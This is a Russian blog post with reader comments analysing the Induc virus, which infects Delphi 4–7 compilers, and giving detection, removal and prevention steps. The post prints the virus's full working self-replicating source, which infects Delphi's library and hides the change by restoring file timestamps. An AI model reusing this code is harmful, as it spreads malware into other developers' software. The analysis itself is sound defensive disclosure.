Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.
Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):
Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).
Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.
Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:
Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!
- Удалите SysConst.dcu
- Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Как это началось
Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).
Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.
Что это такое
Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:uses windows; var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(', 'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]', '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin', 'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile', '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while', 'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0', 'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,', 'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$', ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.', 'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,', 'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),', 'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,', '0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,', '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of', 'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(', 'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then', 'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=', '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+', '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 'begin st; end.'); function x(s:string):string; var i:integer; begin for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39; result:=s; end; procedure re(s,d,e:string); var f1,f2:textfile; h:cardinal; f:STARTUPINFO; p:PROCESS_INFORMATION; b:boolean; t1,t2,t3:FILETIME; begin h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h<>DWORD(-1) then begin CloseHandle(h); exit; end; {'I-}assignfile(f1,s); reset(f1); if ioresult<>0 then exit; assignfile(f2,d+'pas'); rewrite(f2); if ioresult<>0 then begin closefile(f1); exit; end; while not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0 then break; end; for h:= 1 to 1 do writeln(f2,sc[h]); for h:= 1 to 23 do writeln(f2,''''+sc[h],''','); writeln(f2,''''+sc[24]+''');'); for h:= 2 to 24 do writeln(f2,x(sc[h])); closefile(f1); closefile(f2); {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); fillchar(f,sizeof(f),0); f.cb := sizeof(f); f.dwFlags := STARTF_USESHOWWINDOW; f.wShowWindow := SW_HIDE; b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p); if b then WaitForSingleObject(p.hProcess,INFINITE); MoveFile(pchar(d+'bak'),pchar(d+'dcu')); DeleteFile(pchar(d+'pas')); h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h); h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0); if h=DWORD(-1) then exit; SetFileTime(h,@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY; c:array [1..255] of char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then begin i:=255; if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:=''; i:=1; while c[i]<>#0 do begin r:=r+c[i]; inc(i); end; re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); end; RegCloseKey(k); end; end; begin st; end.Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.
Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.
Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:
{'I-}assignfile(f1,s); reset(f1); // <- возбуждается исключение, если в s записан неверный путьПри вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.
Насколько это серьёзно
Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.
Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.
Кто виноват и что делать
В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).
Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).
Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):
- Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
- Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
- Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
Ну, лично мне все эти проблемы по барабану, т.к. я:
- Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
- Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
- Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
Примечания:
(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.
Читать далее.
Александр, спасибо за предупреждение !
ОтветитьУдалитьК счастью, у меня вирус не обнаружен.
Теперь можно ожидать лавину вирусов такого типа, поражающих все версии Delphi !
Ведь так можно инфицировать любую библиотеку Delphi ! Любители "вредногокодаписательства" не преминут воспользоваться.
Вот один из немногих людей, которые не стали плакать, что разработчики QIP-а (бедные, опять им достанется) или AIMP-а такие плохие. Александр просто взял и описал проблему и то, как её устранить. Спасибо за пост.
ОтветитьУдалитьНа работе у меня всё чисто, но спасибо за предупреждение :) Интересный анализ.
ОтветитьУдалитьЕсли по сути - подобные вирусы оч и оч опасные: если создать подобные модификации для других сред разработки, то получится, что любой программист невольно станет вирусописателем.
Я отправил пример инфицированного файлика разработчикам Касперского - посмотрим, что скажут. Пытался сделать то же для Symantec-а (я им пользуюсь) - не нашёл на сайте пункта "отправить на рассмотрение" :( Надо в GUI поискать ещё.
ОтветитьУдалить>>> Теперь можно ожидать лавину вирусов такого типа, поражающих все версии Delphi!
Ну вот это уж очень маловероятно. Ведь таким типам вируса для размножения требуется установленный компилятор.
Кстати, тут проскочила информация, что заражены также некоторые плагины к Миранде, писанные на Delphi.
ОтветитьУдалитьНе понимаю, чего все начали пинать именно разрабов квипа - ведь благодаря популярности их программы и была выявлена эта пакость. Ну да, повезло, что она ничего не делает, но всё же - не один же QIP инфицирован. И никто не почесался ведь.
ОтветитьУдалитьА ведь не заметь товарищ этого поведения QIP - сколько это ещё бегало бы по сети...
>Ну да, повезло, что она ничего не делает, но всё же - не один же QIP инфицирован.
ОтветитьУдалитьЕсли бы делал то его бы поймала эвристика, а так поскольку безвредный то и антивири его не трогают
> Не понимаю, чего все начали пинать именно разрабов квипа - ведь благодаря популярности их программы и была выявлена эта пакость.
ОтветитьУдалитьИмхо: Бездельники любят злорадствовать над теми кто что-то делает, и делает хорошо.
Спасибо еще раз, что решили разобраться дотошно. Я сначала грещил на старую винду и невозможность прочитать ключ из реестра.
ОтветитьУдалитьА то, что все взъелись на QIP - ну так что ж, судьба у нас такая, сейчас это модно =)
Зря я вообще запостил эту тему на QIP-ском форуме. Надо было бы сперва дожать до конца, да в личку скинуть. Решили бы по-тихому.
ОтветитьУдалить>>> А то, что все взъелись на QIP - ну так что ж, судьба у нас такая, сейчас это модно =)
Взъелись - значит используют. Хороший признак :) Гораздо хуже, когда вообще нет никакого feedback-а от пользователей. Хотя... может быть, кому-то это просто надо.
Любопытно, что, судя по диапазону Delphi: D4-D7, писалось это эдак лет 7 назад. И до сих пор живо и бегает... и даже антивирусы его игнорируют.
ОтветитьУдалитьДа ничего, мы люди привыкшие. на хабре нас сильно любят =)
ОтветитьУдалитьНашли машину зараженную (судя по дате изменения dcu-шки) в августе 2008 года о_О Так что вирусняга бегает минимум год...
ОтветитьУдалитьPS Сам писал нечто подобное в студенческие годы, но не распространял, да и реализовано было сильно иначе. Так что не мое.
PS2 Вы еще работаете под админом? Тогда все вирусы будут в гости к Вам...
> Зря я вообще запостил эту тему на QIP-ском форуме. Надо было бы сперва дожать до конца, да в личку скинуть. Решили бы по-тихому.
ОтветитьУдалитьОчень даже не зря. К чртоу реутацию Qip-а, если может пострадать репутация Delphi. Имхо чем больше Delphi программеров узнает тем лучше.
> Любопытно, что, судя по диапазону Delphi: D4-D7, писалось это эдак лет 7 назад. И до сих пор живо и бегает...
Шальная мысль в голову приходит. А что если, это один из способов выгнать разработчиков со старой версии Delphi на более новую? :D
Эта бяка не шифруясь минимум год незамеченной размножалась, а вдруг "взрослая" версия с полезной нагрузкой и полиморфным кодом уже живёт в какой-нибудь IDE поновее? Страшно, мне вдруг дико захотелось перехэшировать файлы RadStudio и сравнить с оригиналом. Кстати, Rustock никому не напоминает ;)?
ОтветитьУдалить>Шальная мысль в голову приходит. А что если, это один из способов выгнать разработчиков со старой версии Delphi на более новую? :D
Агенты ZOG везде :)
Я давно говорил - QIP до добра не доведет. У меня у заказчиков он стоит поголовно, и при передаче файлов автоматом дописывает их к существующим с таким именем :( Я устал юзверкам уже объяснять, что надо удалять эти файлы...
ОтветитьУдалитьА тут взял QIP и программерам напакостил :(
P.S. Спасибо за инфу - я у себя ни чего не обнаружил
Те, кто пользуется Turbo Pascal могут проверить на практически аналогичный код модуль CRT. Если в дефолтной системной библиотеке его два экземпляра - вам привет из прошлого столетия.
ОтветитьУдалитьДа, появилось после обновления QIP8094.
ОтветитьУдалитьУже всё востановленно в папке Lib.
А что там с QIP не известно. Через RegMonitor проверил куда QIP лезет, в ветку борланда.
Всё.
Лет 10 назад я предложил технологию заражения текстовых программных файлов. Это было сделано для обеспечения безопасности некоторых систем. Описанная бяка очень похожа на мою "бяку", но очень примитивна. У меня предполагалось заражение файлов типа *.pas.
ОтветитьУдалитьЗаранее сообщаю - я не вирусописатель.
Данилову в DrWeb?
ОтветитьУдалитьACL не поможет, если вы зараженную прогу установите. Установка требует прав админа, и нередко запускает прогу с ключами инициализации. Жаль что они не удосужились сделать QIP-orig рабочим под ограниченным акком.
ОтветитьУдалитьУ меня была эта бяка. А как проверить через что заражен был?
ОтветитьУдалить>>> Данилову в DrWeb?
ОтветитьУдалитьЯ думаю, если вы отправите - это точно не помешает.
Пусть лучше за этим следит штатный антивирус, чем самодельные средства.
>>> А как проверить через что заражен был?
Никак.
Только если вы не нашли у себя заражённый файл, но скомпилированный не вами.
Есть информация, что этот вирус был идентифицирован Лабораторией Касперского как Virus.Win32.Delfer.b.
ОтветитьУдалитьНе могу проверить, т.к. нет установленного антивиря Касперского, а online-вариант его не находит.
Подтверждаю, сто ЛКасперского добавили вчера этот файл в базу и он детектируется. Сам вчера отсылал заражённый *.dcu файл.
ОтветитьУдалитьСпасибо за инфу.
ОтветитьУдалитьКстати, вон по той ссылочке выше видно, что первый вариант нашли ещё в 2005-м году (ну, может это и не его вариант, а просто похожая бяка - не в курсе, как там касперский номера присваивает).
Спасибо!
ОтветитьУдалитьнашёл у себя. Дата изменения 2002-й год!
Хм, не знаю как насчёт Virus.Win32.Delfer.b, но вот сейчас online сканнер определил заражённый файл, как инфицированный Virus.Win32.Induc.a.
ОтветитьУдалитьПосылал также файлик на анализ в Symantec (там надо было сперва файл в каранин положить, а потом отправить на рассмотрение), а оттуда пришёл ответ: "D:\VMWareShared\Project1.exe contains no malicious code, although it may be a nuisance. It is safe to delete this file". Вот так-то :D Сегодняшние базы его не берут.
D7 стоит давным-давно, к интернету подключен постоянно и квип стоит. Вируса не обнаружил. Повезло.
ОтветитьУдалитьОх, спасибо за пост. А я по незнанию в Касперский и ДрВеб уже отправил скомпилированную программу, в которой, как я думал, нету вирусов...
ОтветитьУдалитьЗа QIP с одной стороны обидно, а с другой - мир у нас сейчас такой - может, это банально пиар-акция QIP?
ОтветитьУдалитьУ меня, как у программиста на Делфи, тоже эта бяка поселилась.
Я бы это вирусом не называл. А вот технология полиморфного размножения в делфи-библиотеках - это, конечно, клево придумали! Когда читал код - удивлялся и говорил "Браво!" создателям. Интересно только, кто его создал? Неужто америкосы? (из-за зловредного бакса, который все попалил) И просто интересно: откуда появился исходник виря? Это типа отладку проги сделали
Я не понимаю, чего все к квипу-то привязались? Сколько в сети доступна была сборка 8094? Несколько месяцев? А эта зараза, видимо, уже несколько лет по сети гуляет. Видать, ругать квип - это модно. Пробежался сейчас по интернету: на куче форумов вижу выкрики типа "миранда - это наше всё!", т.е. на инфицированные мирандовские плагины глаза закрыть можно, а на QIP - нет. Мдааа...
ОтветитьУдалитьКстати, если я ничего не напутал, вот запись о этом вирусе в блоге Касперского антивируса.
Ну вот и F-Secure зашевелились http://www.f-secure.com/weblog/archives/00001752.html
ОтветитьУдалитьКак я понял они этот вирус сами выявили :)
Вы, Александр, всего-лишь пришли к такому-же выводу :)
> Вы, Александр, всего-лишь пришли к такому-же выводу :)
ОтветитьУдалитьНу-ну :)
Цитата:
Программное ядро Антивируса Касперского используют в своих продуктах такие разработчики, как: ... F-Secure (Финляндия)...
С учётом того, что Касперскому пример постил лично я, то...
Virus.Win32.Induc.a в новостях.
ОтветитьУдалитьЭто же финны - несколько дней ушло на раскраску кода :)
ОтветитьУдалитьРаздули из мухи слона.
ОтветитьУдалитьDelphi и так не шибко популярный продукт, а тут интегрированная среда прямо "разносчик вирусов". И кто будет разбираться какая это Delphi - Borland, CodeGear, Embarcadero? Думаю, на репутации Delphi, в том числе и 2010 (может из-за "вируса" обратный счетчик убрали ;-) ), эта шумиха скажется не в лучшую сторону.
В очередной раз подтвердилась "супер-гипер-мега-ультра" эвристика антивирусов - причем всех !
ОтветитьУдалитьНи один из антивирусов на VirusTotal не определил этот вирус, скомпилированный Delphi 2009.
> В очередной раз подтвердилась "супер-гипер-мега-ультра" эвристика антивирусов - причем всех!
ОтветитьУдалить> Ни один из антивирусов на VirusTotal не определил этот вирус, скомпилированный Delphi 2009.
Ну так о чём речь и идёт: единственный надёжный способ защиты - это держать папки \Lib и \Source под контролем.
Кто знает, сколько ещё подобной бяки может гулять. Эту-то нашли только потому, что в ней был баг с Runtime error 3. А если его не будет?
> Раздули из мухи слона.
ОтветитьУдалить> Delphi и так не шибко популярный продукт.
Ну а что мешает переписать это под MSVS C++? Жизнеспособность идеи один неизвестный умелец уже доказал.
Вот и Marco Cantu написал о вирусе в своём блоге.
ОтветитьУдалитьТеперь ссылаясь на антивирусных экспертов из Sophos Lab.
Александр, о Вас должен знать весь мир !
Подайте на них всех в суд :)
Да я как-бы не претендую ;)
ОтветитьУдалитьПомнится в давно, к сожалению, закрытом журнале "Монитор" рекламировался антивирус, в котором пользователь мог сам добавлять сигнатуры вирусов. Была реализована весьма гибкая система шаблонов.
ОтветитьУдалитьЖаль что идея умерла.
P.S. И вновь на VirusTotal ноль угроз от вируса на Delphi 2009.
> Да я как-бы не претендую ;)
ОтветитьУдалитьЯ Марко написал разъяснительную. И в F-Secure писал, и ещё кому-то. И каждый раз когда писал, думал, как бы тебя лучше обозвать "virus founder" или "virus discoverer". :D
Хорошо что не "virus creator" :)
ОтветитьУдалитьAllen Bauer сообщает: "At this point, here at Embarcadero, we’re actively analyzing situation and overall impact to our community. We’re also working on recommendations about how to find out if you’re infected and what to do once you see that you are. Throughout all this we’re working on recommended steps can you take to guard against re-infections. Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion. All signs indicate this is a serious and credible threat and users should remain diligent in ensuring that they either install or update their virus scanners.
ОтветитьУдалить...
What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks. Maybe this will include code and utilities for them to use, or maybe it will only be a set of guidelines and steps."
Что переводится(могли бы и сами вставить перевод после оригинала)как:
ОтветитьУдалить"На данный момент здесь, в Embarcadero, мы активно анализировать ситуацию и общее воздействие на наши общины. Мы также работаем с рекомендациями о том, как узнать, если вы инфицированы, и что делать, когда вы видите, что вы. Во всем этом мы работаем по рекомендованным шаги можно предпринять для защиты от повторного инфицирования. Будьте уверены, что мы ни игнорировать эту угрозу, и не мы будем делать все, чтобы его удар из пропорции. Все признаки указывают на это серьезной и реальной угрозой, и пользователи должны оставаться усердным в обеспечении того, чтобы они либо установить или обновить свои вирус сканерами.
...
Что мы работаем на это ответ, который включает в себя способы, что наши клиенты могут надлежащим образом защититься от любых будущих нападений. Возможно, это будет включать в себя код и коммунальные услуги для их использования, или, может быть, это будет только один набор руководящих принципов и шагов. "
>>> могли бы и сами вставить перевод после оригинала
ОтветитьУдалитьНет, спасибо: мне хватает работы по переводам.
Если это правда, то это полный [censored]:
ОтветитьУдалить"BitDefender® today announced the discovery of a threat that directly affects many applications, including TabBrowser v1.0, GreenOpen, WebMoney Keeper Classic v3.7.0.0, Tidy Favorites v4.1 and any TV Free v2.41. The applications were being distributed with the virus code already embedded, due to an unusual trick employed by the malware author or authors".
Кто-нибудь может подтвердить?
Анонимно подтверждаю, это действительно так. так же этим зараженны программы для скачки сайтов, например "Offline Explorer".
ОтветитьУдалитьНасчет WebMoney 3.7.0.1 - не подтверждаю.
ОтветитьУдалитьPeID говорит, что большинство модулей WebMoney написаны на C++.
Только WebMoney.exe защищен Armadillo, а KeeperID.exe - ASProtect.
ProcessMonitor не обнаружил обращений к ключам, содержащим Borland и \bin
Уря, Symantec добавила индюка в базу. Теперь я могу спать спокойно :D
ОтветитьУдалитьЧто-то я не понял: как WebMoney проверяли-то? Я вот не поленился, нашёл на всяких "софтодромах" версию 3.7.0.0. Установил, держа включенным монитор. Обращения были только к HKCU\Software\Borland\Delphi\Locales (засёк 4 компонента) - всё легитимно.
ОтветитьУдалитьПоставил даже этот BitDefender, скачал свежие базы, прогнал скан - всё чисто.
Похоже, кто-то врёт. Или установщик не всё установил. Может инфицированный компонент ставится только на XP, а не под Vista. Дело тёмное, короче.
А касперским проверить не пробывали? Он быстро пополняет базы на новые угрозы.
ОтветитьУдалитьПо-моему не упоминали большую проблему - инсталляторы.
ОтветитьУдалитьНе знаю как в NSIS и других популярных инсталляторах, есть ли там плагины на Delphi.
А вот написанный на Delphi InnoSetup - это да, проблема.
Если хотя бы один релиз выходил зараженным, то ой-ой-ой...
Ведь не все компилируют его сами, а пользуются готовым.
Спасибо автору блога. Полезная информация.
ОтветитьУдалитьавтор, а вин 32 индук
ОтветитьУдалитьблокирует загрузку сайтов avast.com
и подобных?
заражен этим вирусом и сайты тоже заблочены
Нет !!!
ОтветитьУдалитьЭто у вас другие вирусы живут, или файл HOST изменён.
короче у меня был этот вирус и другие
ОтветитьУдалитьхостс файл небыл изменен - браузер просто автоматом закрывался
в сэйф моде
скачал др веб куре ит
и проверил комп - был
Trojan.Mulldrop
Выпустил вторую часть с суммированием последней информации.
ОтветитьУдалитьХороший анализ, молодец.
ОтветитьУдалитьGSA has developed a freeware tool that could remove the Win32/Induc.A virus completely from executables and let you start them again without your anti virus complaining about it.
ОтветитьУдалитьhttp://www.gsa-online.de/eng/delphi_induc_cleaner.html
Спасибо за статью!
ОтветитьУдалитьблагодаря ей у меня теперь находится SysConst.dcu, и не выдаётся никаких ошибок при запуске нового проекта.
Огромное спасибо за статью! Если бы не наткнулся на Вашу статью - не знал бы в чём проблема и почему мои программы являются вирусами
ОтветитьУдалитьСпасибо за статью!!!
ОтветитьУдалитьстопудово же вирус написал какой нибудь ламер, в данном случае спасибо этому ламеру за то что он такой ламер
Virus.Win32.Induc.a 2009 год.
ОтветитьУдалитьпоследняя версия касперского
на него уже реагирует
даже на стадии скачивания
качал я файл с сайта одного через opera
(продробнее ссылка ниже с изображением реакции касперского)
и чуть вирус Virus.Win32.Induc.a не подхватил
тока сейчас узнал что за вирус
Фу хоть у меня нету этой гадости а за исходник огромное спасибо :)
ОтветитьУдалитьПрикольная тема.
ОтветитьУдалитьнашел у себя такой, у меня из-за него на все созданные проекты аваст ругался
ОтветитьУдалитьБлин... даже не буду проверять, есть ли он у меня... Рука не поднимется удалить его. Это же гениально!
ОтветитьУдалитьу меня тоже была похожая проблема с Delphi7,при компилировании нового проекта антивирусник его определял как вирус хотя ни касперским ни нодом ни доктор вебером сам вирус ненаходился ни при проверки с самого компьютере ни при проверке жесткого диска с другого компьютера,зараженные файлы находились в папке Bin,их названия defproj.cfg и defproj.dof,при их удолее все заработало нормально,может эта инфа поможет кому
ОтветитьУдалитьВсе комментарии теперь в этой теме.
ОтветитьУдалить